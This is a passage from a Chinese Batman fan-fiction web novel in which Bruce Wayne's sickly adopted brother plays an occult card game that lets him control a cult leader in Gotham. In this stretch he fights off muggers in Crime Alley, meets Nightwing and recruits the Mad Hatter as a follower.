总之,他讨厌那个给他带来额外工作量的家伙。
……
与此同时,庄园二楼。
“见鬼的,谁家教徒用一次就要冷却29天啊?难不成这个盗版谜语人也被蝙蝠侠抓回阿卡姆里了吗?”盘腿坐在床上的尤里安感到匪夷所思。
既然今天的工作已经全推掉了,尤里安理所当然地爬上绵软的床,抱住枕头舒舒服服窝好。
发烧会导致头晕恶心、食欲不振,哪怕面前有个热情地做着吃播的迪克,他也实在吃不下多少。面对美味的食物却只能看不能吃,这种感觉太痛苦了。
不过,低烧也给了他一个人待着的借口。
昨晚他刚醒过来就被布鲁斯迷得找不着北,光顾着回味那个拥抱了,都忘记回去看一眼探索的结果。
现在有了空闲,他呼唤出那张墨绿色桌面。
那
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张桌面还是老样子。他的牛马工作还在进行中,对于书籍的解读也还有一半的进度条。探索任务倒是提早完成了,尤里安的桌面上多出了一张卡牌,这是教徒爱德华给他标记的地点。
【在月光下呈现异象的街巷】*:月亮的光辉总是默默记录着一切,我的手下发现了一处地点。在过去的某个晚上,这条街巷曾经以离奇的方式扭曲。如果我深入那里,或许我能洞见真知,或许我会沾染上疯狂。(性相:地点)
(如果想要更进一步地探索,您可以投入[健康]或[追随者]。这里有各种资源,亦或是新的机会。)
这张卡牌的主色调是紫色,卡面上绘制着一个街巷的一角,一把手枪孤零零地躺在大大小小的白色圆点之间,旁边或许是一滩水,或许是一团血迹。
尤里安按照提示,把卡牌再次放入探索栏。然而就在他打算把自己唯一一的信徒放进去时,游戏却提示该行为无法继续。
【您的教徒表示自己有心无力】:爱德华尝试着活动手脚,但很遗憾,他失败了。“虽然我很乐意为您效劳,但非常抱歉,现在我正被十根以上的拘束带绑在墙上,隔壁那只大蜥蜴都没这个待遇。”
尤里安这才注意到,代表爱德华的绿色卡牌蒙上了一层浅浅的灰色,这代表着这张卡牌需要冷却。
再一看冷却时间——29天15小时。
尤里安:“……”
没用的家伙。
算了,他还是自己上好了,反正现在他可是有足足四份[健康]。
尤里安把一份[健康]投进去探索栏,满意地看见进度条开始行走,四个作业区同时有序运转的感觉实在太美妙了。
说起来,要怎么把游戏切换成全息模式呢?
尤里安开始回忆昨天进入另一具身体里时的感觉。
那种感觉很奇妙,就像是灵魂急速上升,到达一片荒原后又急速下坠,再睁眼时,他就登录了另一具身体,就像在游戏里切换账号一样……
没有感受到任何阻碍,尤里安顺利地完成了账号的切换,兴奋地睁开眼睛。
然而,这次他不再是出现在那个狭小破旧的房间里了,映入眼帘的是一张填写了一半的财务报表,四周传来钢笔在纸面上划动的沙沙声,像啮齿动物啃食木头的声音一样刺耳。
尤里安陷入沉默。
他才刚翘掉早上的工作,怎么一睁眼就跑去别人的公司上班了?
他打开桌面确认自己现在的状态。
只见所有作业区的倒计时都停止了,只剩一个作业区的时间还在缓缓流动。
【帕沃斯父子公司的职位】*:现在我是一名记录在案的职员,直接领导人是小帕沃斯先生。工资多了一点,下班也晚了一点。而小帕沃斯始终看不起我。(经常旷工会有降职之虞。)
5. 疾病肆虐的时节(5)
尤里安摸索过,根据消耗的卡牌类型,这个游戏里赚钱的方式大致分成三种:
消耗[理性]去公司上班,消耗[健康]去码头当搬工,消耗[激情]画画卖钱。
其中帕沃斯家的这份文书工作相对稳定,但最压榨人。不但经常需要加班(指总是需要耗费一个周期以上的时间才能完成工作),有时还得额外耗费一份[理性]才能拿到相应的工钱。
帕沃斯这个姓氏,尤里安其实很熟悉。
他起身走出工位,不顾四周诧异的目光从落地窗前往外远眺,从对面那栋大楼楼身的玻璃反光中了自己所在的大楼。
果然,是熟悉的建筑。
虽然不像韦恩或者法尔科内家族有名,但帕沃斯家也是哥谭里一个历史悠久的家族,在上个世纪就已经声名显赫。
这个家族主要经营一家名为帕沃斯科技的集团,旗下还有著名的凯尔医药公司。听说约瑟夫·帕沃斯先生今年准备参政,已经拉到了不少选票,他的夫人玛利亚在上流社会的社交圈里也很是活跃。
在昨天的慈善晚宴上邀请他的那个人就是约瑟夫和玛利亚的小儿子马尔兹·帕沃斯,一个有名的草包公子。
在游戏还没更新的时候,尤里安所操控的角色就在这家公司上班了。
不过当时尤里安觉得只是恰好同名,还暗戳戳吐槽过不愧是帕沃斯家,对员工的压榨是一点都不留手,所以他总是把这份工作叫做牛马工作。
而现在,尤里安发现这家公司不只是同名——
这个dlc居然连帕沃斯家族的背景都照搬了,是真不担心版权纠纷啊。
在尤里安暗暗惊奇的时候,旁边忽然传来一道声音:“现在是上班时间,你在干嘛?”
他侧过头,发现说话的是工位靠着窗户的同事。
尤里安幽幽道:“我在想要不要跳槽去对面的韦恩集团。”
说实话,这个游戏在这点上就有点缺乏人性化了,既然都有了帕沃斯科技,为什么他不能直接去韦恩工业上班呢?
先不说工资水平怎么样,至少韦恩工业不会像帕沃斯科技这样长时间加班,而且每天都有专门的下午茶时间和晚茶时间(注:茶点免费),除此之外还有出行补贴、交通安全补贴、社会险和意外险和人寿健康险,所有在上下班途中发生的意外事故导致的费用都可以找公司报销。
说不定他还能更进一步直接成为韦恩集团的总裁,因为他在现实里确实担任过总裁的职位。
……嗯?
想到这里,尤里安忽然觉得情况不太对劲。
他不就是表达一下自己的合理愿望吗,这个眼下起码有两厘米黑眼圈的家伙为什么会露出见了鬼的表情?
难道帕沃斯公司的员工都签了非常苛刻的竞业协议?
**
杰米感到很诧异。
事实上,不只有他一个人感到诧异。在看到约翰突然起身走到窗边的时候,这个空间里的所有人都很震惊——
他们的人机同事怎么突然脱离程序了!
说来话长,长话短说,这个名叫“约翰·多伊”的人是一年前突然来到公司,成为他们的同事的。
他们这个部门的人事变动并不频繁,新人加入的门槛比较高,主管就安排了一个资历比较深的老员工带他,其他人也非常热情地欢迎了这位即将大大减轻他们工作负担的小可爱。
但这个人的行为却刻板得就像写好了运行程序一样,除了工作上的交流就完全不会多说一句话,一整天都埋头苦干,一到下班时间就拎包走人。
问他中午吃什么,他只会用那双黑黢黢的眼睛盯着你看,等你识趣地移开视线了再继续投入工作。甚至就连他的名字“约翰·多伊”,大家都是通过工牌得知的。
拜托,这年头有谁会用“John Doe”这个名字去大公司应聘啊!除了在诉讼案件的原告席和凶案现场还有哪里能见着这个名字,这跟告诉面试官自己叫做无名氏有什么区别?
更奇怪的是,这个人还会时不时旷工几天,在大家以为他是不是离职了的时候又突然回来,每次回来的长相还都不太一样。
反正杰米已经记不清他刚入职时长什么样了,只知道大概是一张很朴素的大众脸。
综合诸多疑点,他们一致怀疑这位同事是帕沃斯科技研发的人形机器人,被投入到他们这群人类之间进行测试,这就可以解释那古怪的性格、时看时新的脸和上司莫名宽容的态度了。
但是现在,这个人机同事居然会在工作时间里走到窗边看风景,甚至还发表想跳槽去韦恩工业的言论……
他居然能有这么拟人的一天。
杰米的视线不小心对上了那对漆黑的眼珠,不同于以前那种无机质的黑,此时的这双眼睛似乎灵动了不少。
卧槽,他是不是接入了满血版的Chatxxx,现在的AI已经能模拟出这么真实的表情了么?
杰米有点汗流浃背了。
他决定终止两人的对话,压低声音道:“我只是想提醒你小心一点,今天小帕沃斯来了。他看起来心情不太好,随时都可能从他的办公室出来找茬。”
哦,小帕沃斯。
他在升级前的游戏文本中是一个高傲自大的草包形象,尤里安不知道更新之后自己有没有亲眼见到这位上司的机会。他也不确定此小帕沃斯是不是彼小帕沃斯,不管是哪一个,他都完全不想碰上。
所以听完同事的提醒后,尤里安就回工位继续工作了。
好消息是,对尤里安来说,用这样一具充满活力且精力充沛的身体工作简直是种享受,而且这份工作对他来说还算简单,完成起来非常轻松。
坏消息是,在他提前完成今日份工作之后,上头又派来了新的,并且表示今天还是需要加班。
把厚厚一叠材料堆到他桌上的同事露出怜悯的眼神:“歇歇吧,约翰。在这家公司,你能干的话就得往死里干。”
所以别卷他们了,快变回那个只会按照程序上下班的人机吧!
尤里安:“……”
他该怎么澄清,其实他只是享受使用这具健康的身体活动
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而已,不代表他真的热衷于成为牛马。
瞪了摆在面前的新工作几秒,尤里安果断下线,回本体吃晚饭去了。
今天的晚餐是素炒口蘑彩椒西蓝花盖饭和煎三文鱼,不知道是不是为了照顾他这个病人的感受,阿福做得可谓是色香味俱全,尤里安的食欲大大增加,他感觉自己已经有很长一段时间没吃得这么开心了。
迪克和提姆也对今天的晚餐赞叹不已,如果阿福没在他们吃完煎三文鱼后端来两杯羽衣甘蓝混胡萝卜蔬菜汁就更好了。
不过布鲁斯依旧没出现,在尤里安问起时,阿福表示他今晚已经有约。
“有约了?”
阿尔弗雷德颔首:“布鲁斯少爷邀请了萝斯女士共进晚餐。”
尤里安的心情一下子变得很糟糕。
按照过去的经验,布鲁斯一定会约会到半夜才回来,这个晚上他去做什么了简直不言而喻。
而且萝斯女士又是谁?布鲁斯上次约会的对象还是卡罗琳女士,那个《哥谭丽人》8月刊的封面女郎。
尤里安偷偷查了一下,哦,萝斯女士是位演员,最近刚出演了一部很火的电影。她还有个身份,就是《哥谭丽人》9月刊的封面女郎。
……那家伙当自己在集邮吗?集齐12个月份的女郎就可以获得奖章?
尤里安气鼓鼓地摁灭手机,一种他自己都没意识到的阴暗的嫉妒像藤蔓一样在心底悄然滋长。
其实尤里安觉得布鲁斯什么都好,他是世界上最好的布鲁斯,也是世界上最好的哥哥。就是那颗心太善变了,他的花心程度足够让小帕沃斯都自愧不如。
但他又能说什么呢?他只是布鲁斯的兄弟,最多在对方出门之前说一句注意身体。
这个念头让尤里安更加闷闷不乐,他回到房间,从衣柜深处翻出一件大衣,用这件大衣裹紧自己,把鼻尖深深地埋进去,好像这样就能获得布鲁斯的拥抱。
但是还不够。
衣服再厚也没有布鲁斯的体温,曾经留下的气味也会随着时间的流逝渐渐散去。布鲁斯会在另一个人、或者很多人身上留下属于他的痕迹,他早晚会组建自己的家庭。
“……”
纤长的睫毛轻轻颤了颤,漆黑的眼珠寂静无光。
安安静静发了几分钟的呆,尤里安忽然觉得不能再这样下去了。
待在这座庄园只会让他想得更多,他要去另一具身体里冷静冷静,哪怕是继续帕沃斯科技的工作也行。
于是,尤里安闭上眼睛。
然而再睁眼时,眼前的景象却不是堆满材料的桌面和填了一半的表格,而是一个幽暗的小巷。
天上的圆月散发着清冷的光辉,照亮了这个巷子的一角。尤里安环顾四周,还是认出了这里——
这里是犯罪巷,也是布鲁斯的“新哥谭计划”里即将拆除的地方。
而他面前,则站着两三个强壮的蒙面混混。
他们挥舞着手中的铁棍,恶狠狠地威胁道:“把钱包交出来!”
尤里安的心情恶劣到了极点。
6. 疾病肆虐的时节(6)
哥谭,黑夜,犯罪巷,三个戴头套的彪形大汉。
他们拿着武器要你乖乖给钱,你给不给?
如果站在这里的人是尤里安·韦恩本人,他说不定真的会乖乖交出钱包,花钱买平安。如果不够他再写张支票。
但站在这里的人是尤里安操控的角色,一个在创立教派之前就谨慎地把所有个人属性全部拉满的杯教教主。
所以不给!死都不给!
在混混不耐烦的催促下,尤里安打开墨绿色桌面,桌面上已经多出了一个临时工作台。
【意外事件】:当您的境界升得更高,不可预测的可能性就会变得更强。您正在遭遇一场抢劫,居然有蠢货妄想对教主图谋不轨。(投入技能,可使用激情说服对方,也可使用武力做出正当防范。)
现在尤里安的心情正糟糕着呢,怎么可能选择前者,他直接掏出一张红色的卡牌。
这张卡牌上绘制了一只舞者的旋动的手,肌肉优美,线条简洁,灵巧的韵律和力量仿佛能够直接冲破卡面。
【技能:完美体魄】*:筋腱裹束起白骨,其外包裹光滑紧绷的皮肤,一举一动皆达至机器般的精妙。“我已达顶点,往后只有衰落。”(您的健康与技能已行至终点。)
在这个游戏里,玩家的个人属性共有三种,分别是[健康][理性]和[激情]。通常来说,刚开局时每种属性的卡牌都只有一张,但玩家可以通过升级获得更多卡牌,并且在升级过程中获得相应的技能。这张技能卡就是尤里安把[健康]锻炼到最高级的结果。
在更新前的那个桌面游戏里,这张卡的作用只是让他在码头搬砖的时候花费更少的时间,但现在,游戏已经进化了,尤里安很好奇这个技能会有怎样的效果。
要知道,这个技能的上一级【钢铁体魄】里的描述是“我已经能徒手把很多东西捏爆了”,最高级恐怕已经不是人类所能拥有的力量了吧。
在为首的混混终于沉不住气,掂了掂铁棍准备给这个不识好歹的家伙一点颜色瞧瞧时,尤里安正好将技能放进卡槽。
在那一瞬间,他忽然感受到蓬勃的活力。像是沸腾的水,又像涌动的江流,转眼间就充盈涌入他的血管,一种奇怪的协调感遍布全身。
尤里安觉得现在的自己说不定能在用一根手指在墙上徒手戳洞,或者在平衡木上做十个高难度后空翻。
恰好,眼前就有几个很不错的实验对象。
扭曲的铁棍带着刺耳的破风声砸过来,尤里安抬起手臂,白皙纤细的右手轻松地接住铁棍的另一头。
挥舞着铁棍的壮汉下意识发出一声“卧槽”。
“哈哈,你只不是没吃饭啊,这种程度的小绵羊都拿不下……先把他砸晕再搜身!”他的同伴发出猖狂的嘲笑声,用力抡动一根钢制棒球棍。
但棒球棍也被接住了,他们看见那个头戴兜帽的青年轻轻歪头,手指慢慢收紧。
然后,棒球棍的表面出现手指的凹痕,另一边的铁棍也呈现出不自然的弯曲。
劫匪们:???
“What the fuck?这是人?!”
“那家伙是怪物!!”
“完蛋,我们该不会惹到杀手鳄二号了吧,蝙蝠侠救命!”
能在哥谭混的人怎么可能是纯粹的肌肉白痴,几个身强力壮的男人已经明白自己惹上了不该惹的存在。
众所周知,哥谭民风淳朴人才遍地,他们抢劫之前都会好好物色一番对象,以免抢到不该抢的人头上。
他们半个小时之前就注意到这个人了——
中等身高,正常身材,排除是进行过基因改造或注射过奇怪血清的肌肉暴力男;
鞋面没有泥,衣服干干净净没有暗红色污渍,排除是手上沾血亡命之徒;
头上戴着个兜帽就在巷子里来来回回走,一刻都不停留,也不找人搭话,排除是有目的性地寻仇。
综上,这人看起来像个误入此地的小绵羊。
于是他们下手了。
现在一想,这人怎么可能是小绵羊,像动物园里的动物一样刻板地走来走去的人脑子肯定有问题啊!
哥谭的夜晚有一则铁律,那就是你可以惹肌肉男,可以惹持枪抢劫犯,甚至可以惹黑-帮,但你绝对不能招惹精神病。
现在好了,这人不但精神有问题还拥有超乎常人的力量,超反buff全部叠满,怎么说也是个阿卡姆预备役,这种超级反派可不是他们这群只敢拦路抢劫的的人能招惹的!
呜呜呜他们知道错了蝙蝠侠快把他们送进警局吧至少那样还能保证他们四肢健全!
几名彪形大汉鬼哭狼嚎起来,刺耳的尖叫吵得尤里安眉头紧皱。
他不知道这几个人怎么突然就被吓成这副熊样,强硬地抢过棒球棍,反手把他们打晕,截断噪音的根源。
不过他们横七竖八躺倒在地上的样子实在不符合尤里安的美学,尤里安特意把他们搬到墙角,整齐地码放在一起,防止影响过路的行人。
就在这时,他的头顶传来一道轻快的声音。
“哇喔,身手不错。”
尤里安抬头,发现有个人像体操运动员一样跳到对面的墙上,体态优美动作利落,保持着绝妙的平衡。
他的脸部被多米诺面具遮挡,身穿黑色的紧身衣,特殊的布料勾勒出完美的肌肉线条,一抹大胆鲜亮的蓝色从肩膀贯穿胸膛,勾勒出鸟儿振翅的形状。
这个形象很经典也很好认,一看就是隔壁布鲁德海文的蒙面义警夜翼,这年头还有哪些城市没有属于自己的义警呢。
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“我原本还想把那几个抢劫犯打晕送到哥谭警局,不过你的动作比我还要更快一步。”
夜翼看起来比蝙蝠侠活泼很多,至少他不会用那副低沉到非人的嗓音说话。就算没有得到尤里安的回应,他也能自顾自地说下去。
“我看到你把棒球棍掰弯了,力量很不错啊,不过我印象中好像没你这号人,难道是新面孔?”
面对夜翼一连串的话,尤里安沉默几秒,说出了今晚的第一句话:“为什么来的不是蝙蝠侠?”
夜翼怎么可能出现在哥谭,这里果然是个游戏吧,居然直接套用隔壁城市义警的建模。
“呃。”夜翼卡了一下,耸了耸肩,“蝙蝠侠得待会才有空。”
不知道是不是夜翼的出现带来了安全的信号,在他们对话的时候,巷子的阴影处钻出了几个孩子。
他们小心翼翼地观察着尤里安的反应,见他没有反抢劫的打算,就壮起胆子地走上去,手脚利索地在这几个抢劫犯身上翻找零钱。
自然界的弱肉强食。这样的情景或许每天都在这座城市里上演。
这个角落里仅剩的还站着的两名大人都没有阻止,夜翼只是看了一眼就收回视线。
他歪了歪头,似乎是从耳麦里收到了新的讯息。于是他潇洒地摆了摆手,笑眯眯地说:“我走了~希望你是个好人。记住,Nightwing is watching you.”
说罢,他一个轻巧的后空翻,消失在墙面的另一边。
这条小巷又一次恢复寂静,仿佛那个蒙面义警从来没有出现过,翻找零钱的孩子们也四散归入阴影。
尤里安默了几秒,都有点忘记自己来到这里的目的了。
他打开墨绿色桌面,发现自己出现在这里是他下午把[在月光下呈现异象的街巷]投入探索栏的结果。
原来那个月光下的街巷就是犯罪巷啊……
不叫原本的地名,还另起了一个名字,意思是这个探索地的重点是月光吗?
尤里安抬头,只见冰冷的月光自高远的天边洒落,巷子的一角被拉出长长的斜影。
这个画面好像有点似曾相识。
记忆深处的片段扭曲涌动,伴随着刺鼻的硝烟,温暖的鲜血,冰冷的石砖,似乎还有谁的哭嚎和尖叫……
那是什么?
是他曾经见过的情景吗?
尤里安试图将这些零碎的元素拼凑起来,然而不管他怎么努力都无法拼成一副完整的图案。
不知过了多久,等他骤然回神,他才发现自己的心脏砰砰作响,心跳快得不太正常。
再往下看,墨绿色桌面上多出了一张新的卡牌。
【入迷】*:光透过裂缝漏入,我的头脑比任何时候都更清晰。我升得越高,见得越多。
7. 疾病肆虐的时节(7)
再一看,墨绿色桌面上的探索任务已经结束了,那张[入迷]就是尤里安探索这条小巷获得的结果。
[入迷]是游戏中的一种“影响”,也可以说是某种并不具有实体的反响、共鸣或情绪。桌面上出现[入迷]卡意味着玩家在某些研究中过于深入,随着入迷程度的加深,还可能出现幻觉。尤里安在二周目打出失败结局就是因为叠了太多张[入迷]——
他以为自己成功飞升了,事实上,他只是疯了。
所以刚才他所见到的场景,只是因[入迷]而产生的幻觉而已吗?
可是那些破碎的画面又是那么真实,真实到他仿佛亲手触摸了那摊温热的鲜血,甚至化为鲜血本身……
对于尤里安来说,犯罪巷这个地点其实具有极其特殊的意义,所以他不能仅仅将这里视为游戏中的一处藏宝地,这里对他来说代表着更加深刻而伤痛的过往。
接近二十年前,他的养父母韦恩夫妇就是在这里遇害的。据说那是一个寒冷的秋夜,他们一家人一起去看一部名为《佐罗》的电影,从影院出来准备步行回家时,一个持枪抢劫犯失手杀了他和布鲁斯的父母。
这个消息轰动全城,人们意识到就算是站在这座城市最高处的人物也无法保证自身的安全,早就蠢蠢欲动的犯罪们则备受鼓舞更加猖狂。那以后的一段时间里,哥谭陷入了彻底的混乱和黑暗。
对于两个孩子来说,那之后的几年相当痛苦,他们就像受伤的小兽一样互相舔舐伤口,在这座冰冷无情的城市中相互汲取对方的体温。
有段时间布鲁斯变得戾气极重,尤里安知道他渴望改变,但受限于知识和年龄,他们什么都做不了。
于是后来布鲁斯就出门游历了,把他一个人留在这座阴冷的城市里。感觉自己被抛下的尤里安很伤心,他有时候觉得这是不公平的代价,因为布鲁斯独自承担了那天晚上所发生的一切。明明意外发生时两人都在场,但夜夜体会噩梦重现的人却只有一个。
这不公平。
是的,尤里安缺失了那天晚上的所有记忆,他知道的一切都是布鲁斯告诉他的。
听说就是因为在那一晚受到惊吓高热不醒,足足一个月才能正常进食,所以他的身体才会变得这么孱弱。
之后他们每年都会在韦恩夫妇的忌日里来到这条小巷悼念亡魂,还顺便把这条巷子修缮了一番。布鲁斯离开哥谭的那段时间里,尤里安也没有放下过这项活动,这里俨然已经成为了韦恩家的重要活动地点。
所以布鲁斯今年提出要拆掉犯罪巷的计划时,许多人都感到很诧异,十几家媒体一齐涌了上来,追问他这样做的原因。
在闪烁的相机与媒体的聚光灯下,布鲁斯的回答是:哥谭不能永远沉湎于过去,他们也是。
所以,这条代表着罪恶与伤痛的小巷将会永远消失,成为建设新哥谭的一处地基。
“……”
尤里安一直觉得这个密教模拟游戏出现得很突然,而且奇异地只存在于他的脑海。曾经尤里安认为它是平静无波的生活下出现的有趣幻觉,现在他觉得它在某种意义上是自己思维的映射。
听说每个人的思维构造都不一样,有的人用抽屉存储记忆,有的人将记忆化成图书馆,有的人用记忆构建宫殿。多年前的记忆不一定真的消失了,它只是以某种方式隐藏起来,需要通过一定的契机获取开启记忆的钥匙。
这个游戏——它是否能给自己更多的提示呢?
尤里安抚摸着粗糙的墙面,试图通过这种方式忆起更多细节。
可惜,刚才那种玄而又玄的状态已经消失了,面前的这条小巷,看起来只是一条普通的巷子而已。
也许,现在还不是合适的契机。
就在这时,洒落在墙角的月光消失了一瞬,似乎有某种大型飞行动物带着阴影从他头顶掠过。
尤里安抬头看了一眼,忽然跳出的直觉催促他打开墨绿色桌面。
果然,他的桌面上多了一个全新的工作台,工作台的背景是黄色,其上绘制着一个黑色的脚印。
【不合宜的关注】:这座城市充斥着好事的记者、机敏的警探和一些在天上飞的蒙面家伙,他们嗅觉灵敏,追踪着他们眼中可疑的一切。我还能维持多久此刻的安宁?
这个工作台下方有一个磁铁的标志,这代表它是被动事件,它会自己吸取合适的卡牌,尤里安无法自己操作。不过光看描述也能看出来这不是什么好事件。
似乎有人盯上他了。
尤里安很难不去联想刚刚掠过的阴影,在心底腹诽游戏里的蝙蝠侠
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果然同样令人讨厌。
不过他的桌面干干净净清清白白,并没有任何可疑之处,哪怕是蝙蝠侠也拿他没办法。
尤里安盯了这个事件一会儿,确认它只是沉默地任由倒计时行走,并没有吸走任何卡牌,就暗暗松了一口气,并决定今后加倍小心。
然后他就跳过这个事件,看向其他工作台。
工作台里的任务已经基本完成了,游戏更新之前可不会那么快,一般要到深夜才能完成。
这次换号时尤里安特意观察了一下,确认在进入这具身体之前,所有作业区的都在走动。但一旦他本人上线,除了他本身在做的事情,其他作业区的倒计时都会暂停。
这或许意味着如果他把这具身体交给系统托管,几项作业就可以同时进行;但如果他本人上线,就只能同时完成一件事情,而真人顶号的效率较高,完成一次工作所耗费的时间比系统托管更少。
有趣的变化。
尤里安将尚未研读的书籍投入研究栏,耗费一份[健康]再次探索。而后才从作业栏里拿出代表帕沃斯父子公司的卡牌和自己辛苦一天得来的工钱,放进自己的绘画技能。
【技能:洞开的灵魂】*:梦境与醒时的界限已不再明晰,我的思绪时而被幻影幽灵驾驭。他们站在门外叩门,若我听见声音,我就开门,要他们进到我这里来。(您的激情与技能已行至终点。)
这次尤里安不打算靠上班挣钱了,他要试着画画,然后把画卖出去。
事实上,他本身也了解过一点绘画,所以他很好奇在这个游戏里自己会绘制出怎样的画作。
完成这一切之后,尤里安点开谈话栏。
在和爱德华进行对话无果后,尤里安也没闲着,把这个工作台拿去传播教义了。
这是玩家招募教徒的基本途径,在公开场合谈论怪力乱神之事,自然会有感兴趣的人找上门来。[信徒爱德华]就是这么一步步被吸引过来、然后被尤里安转化成教徒的。
而现在,显然有第二个人对他的教派产生了兴趣。
【熟人杰维斯·泰奇】:杰维斯曾在自己弱小的时候爱上一位名叫爱丽丝的女孩,可是一切都毁了。现在他正为自己编织一场成人童话,所有角色都已就位,只差一位“最完美的爱丽丝”。
8. 疾病肆虐的时节(8)
童话?爱丽丝?
尤里安第一时间就联想到了那个家喻户晓的童话故事《爱丽丝梦游仙境》,他觉得这个设定听起来有点耳熟。
尤里安在记忆里翻找了一下,果然找出一个匹配的人来——
阿卡姆常驻罪犯疯帽匠。
跟小丑和稻草人这类超级反派相比,他的影响力稍微小一点,尤里安所听过的只有他的出道事迹——绑架一名金发碧眼的钢琴师作为他的“爱丽丝”参加他的茶话会。
不止如此,他还绑架了其他人来扮演柴郡猫、三月兔等其他角色,用洗脑装置让他们混淆自己的身份,从思想上成为这篇童话的一员。
虽然这场犯罪事件波及到的民众不如其他超级反派多,但因为和童话挂钩,尤里安对这件事还有印象。
好吧,继盗版谜语人之后,他的第二位信徒即将是盗版疯帽匠。
可是为什么他招到的信徒都是从阿卡姆里出来的啊,难道只有原本精神就有点问题的人才会对他的教派感兴趣吗?
尤里安翻出自己的教会卡和密传卡看了看。他所属的血杯教团所追寻的理念并不晦涩,无非就是欲望、诱惑、愉悦、痛苦与性。
人人皆有欲望,这是多么健康而接地气的教派啊!
更进一步地说,为什么他不能把罗宾招来当教徒呢?蝙蝠就算了,血杯教团不欢迎刚刚才试图调查教主的黑漆漆。
尤里安顺手把疯帽匠和教团卡放入谈话栏里,准备和他来一场情真意切的对话,把他转化成教徒。
谜语人的冷却时间还有足足29天,尤里安可不想每次都耗费自己的[健康]出门探索,他急需一位新的教徒。
做完这一切后,他发现自己的四周弥漫起湿润的雾气,迷迷蒙蒙,轻柔温暖。他被雾气构成的丝线拉动着上升、上升,不断上升,逐渐获得极高的视野,自身也变得十分辽阔,仿佛世界上没有什么东西能够阻碍他的视线。
然后,他的视线冲破层层迷雾,看见了一个人。
那人身材矮小,穿着浅色的病号服,面貌苍老狰狞,长着一个童话故事里怪老头才有的超大鹰钩鼻。此前尤里安没见过他,但他却奇异地知道这人就是疯帽匠。
枯槁的头发、粗糙的皮肤和浑浊的双眼,他能看见疯帽匠的一切。
疯帽匠似乎也能感受到他,猛然睁大眼睛,扫视着周围的空间。
其实这个房间里什么都没有,除了洁白的墙壁和单调的床单。但疯帽匠却好像看见了什么神圣之物,将颤抖的视线停在虚空,任由老鼠夜行一样窸窸窣窣的动静和狂乱的低语充斥耳畔。
不知过了多久,低语渐渐散去,他露出一个沉迷的微笑,尤里安感受到他们之间多了一层联系,他可以利用墨绿桌面掌控和支配对方的行动了。
代表疯帽匠的卡牌也发生了变化。
【教徒疯帽匠】:就在刚才,疯帽匠看见了世界上最伟大的图案——血杯,象征着爱和欲望的存在。他清楚自己的爱指向谁,也清楚自己的欲望究竟是什么。“爱丽丝……我最完美的爱丽丝……我马上就来找你。”(性相:蛾5/凡人/追随者)
这个dlc还挺考究的嘛,连卡面描述都和背景故事联系起来了,不过教主只会关心教徒的性相好不好用,并不关心教徒心里怎么想。
尤里安将疯帽匠从谈话栏取出,顺手把他放进探索栏,把他派出去探索城市。然后他又故技重施,用谈话栏散播教义,吸引新的教徒。
作为一教之主,教徒自然永远不嫌多。尤里安的目标是把整个阿卡姆的人都转变成他的教徒,如果能招来某只小鸟就更好了。
做完这一切之后,尤里安忽然感觉视野在震动,像有更强的引力从另一处抽离他的灵魂。
看来本体那边有情况了。
尤里安回到本体,正巧听见托盘轻轻放在桌子上的声音,原来是阿福来给他量体温了。
他乖巧地把体温计含在嘴里,等时间差不多了,才把温度计吐出来,又张开嘴巴配合管家先生的检查。
阿尔弗雷德仔细端详着他的气色,判断道:“稍微还有点低烧,也许是刚睡醒的缘故。恕我直言,尤里安少爷,为了防止病情反复今后两天就继续在家里休息吧,公司那边提摩西少爷会帮您请假的。”
说完他又从托盘上端过来一杯绿油油中带着点红的蔬菜汁:“生病时间需要多补充维生素。”
尤里安面露难色,因为这杯蔬菜汁看起来就很难喝。
事实上也确实难喝,不管用什么材料,阿福配制出的蔬菜汁总有种奇怪的苦涩,一入口就会在味蕾上爆发出十分复杂的味道,他说那种味道代表健康。
……健康的韦恩家的大杀器。
阿福微笑着看着他。
尤里安只好乖乖喝下去,悄悄吐了吐舌。他感觉自己的舌头都要变成绿色了。
这时他从虚掩的门缝里听见楼下传来乒乒乓乓的动静,像是从厨房里传出来的,不由得好奇:“是迪克和提姆吗?这个时间点他们不应该已经回房间休息了吗?”
阿尔弗雷德淡定道:“理查德少爷刚回来,孩子们总要进行一些亲切的问候。”
说完他就跟尤里安道了晚安,说要下楼看看情况。
之后的两天里,尤里安依言在家里休息养病,时不时上游戏处理一下教团事务。这两天里疯帽匠还带回来一个名叫[博特尼花园]的地点,他很争气,不像谜语人那样探索一次就需要足足一个月的冷却时间,马上就可以再次投入使用。
不过这次使用这张任务卡时,疯帽匠的脑袋上冒出了一串气泡。
【教徒疯帽匠】:“乐意为您效劳,不过此次出行,请允许我做一件额外的事。”疯帽匠彬彬有礼道,“有人托我买几份报纸。”
尤里安:“……?”
这是什么奇怪的要求?
算了,也许教徒也需要自己的生活,没人规定疯帽匠不能看报纸。于是尤里安继续派他探索,自己偶尔上线画个画、读读书,每天都过得十分充实。
唯一让他不高兴的是,布鲁斯整日不见人影。阿福说他和萝丝女士十分合得来,他受萝丝女士邀请去纽约参加了一场电影节。
第三天的早餐时间里,阿福送来了今天的新报纸。
尤里安不怎么喜欢看讲经济政治的正经报纸,相反,他喜欢看那种花边
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小报,谁对谁公开示爱,某某公子出轨了,布鲁西少爷又和哪位女士约会——重点当然是最后面这个。
这份报纸秉承着谁的热度大就蹭谁的原则,前些年一直扒着尤里安不放,布鲁斯回来后又盯上了布鲁斯。而且和因为身体原因深居简出的尤里安不同,布鲁斯举止高调,确实给他们贡献了非常多的素材。
尤里安简直怀疑他们专门雇佣了一个狗仔团队跟拍布鲁斯,还雇了一个写手团队,只要布鲁斯今晚有约会,明天就绝对会出现在报纸上,尤里安的消息都不一定有那么灵通。
让民众购买报纸投票选出哥谭市内“最受欢迎男人”也是报纸主编的天才主意,光是这个投票就让他们赚了个盆满钵满,听说他们甚至接到了来自阿卡姆的订单。当然,他们怎么可能敢往那地方送报纸,出再高的价钱也不送。
而那个投票活动本应在前两天截止,但主办方说出现了诡异的平票情况,需要核实票数,于是公布日期就向后顺延两天,也就是今天。
尤里安翻开报纸,满意地在第一名的位置上看见了布鲁斯的照片。他的票数高达两万,牢牢霸占第一名的宝座,不枉尤里安专门砸钱给他刷票。
第二名就是尤里安自己,他当然不会给自己刷票,这估计就是那些无聊的哥谭市民投的票。不过意外看见自己和布鲁斯的照片同框的感觉确实很不错,他要把这份报纸好好地收藏起来。
至于第三名……
“WTF?第三名居然是蝙蝠侠?!”
一声大叫从他身后传过来,准确地说出了尤里安的心声。
尤里安回头,发现原来是迪克凑了过来,他瞪大眼睛看着尤里安手上的报纸,看清标题之后,已经逐渐长开的肩膀突然开始发抖。
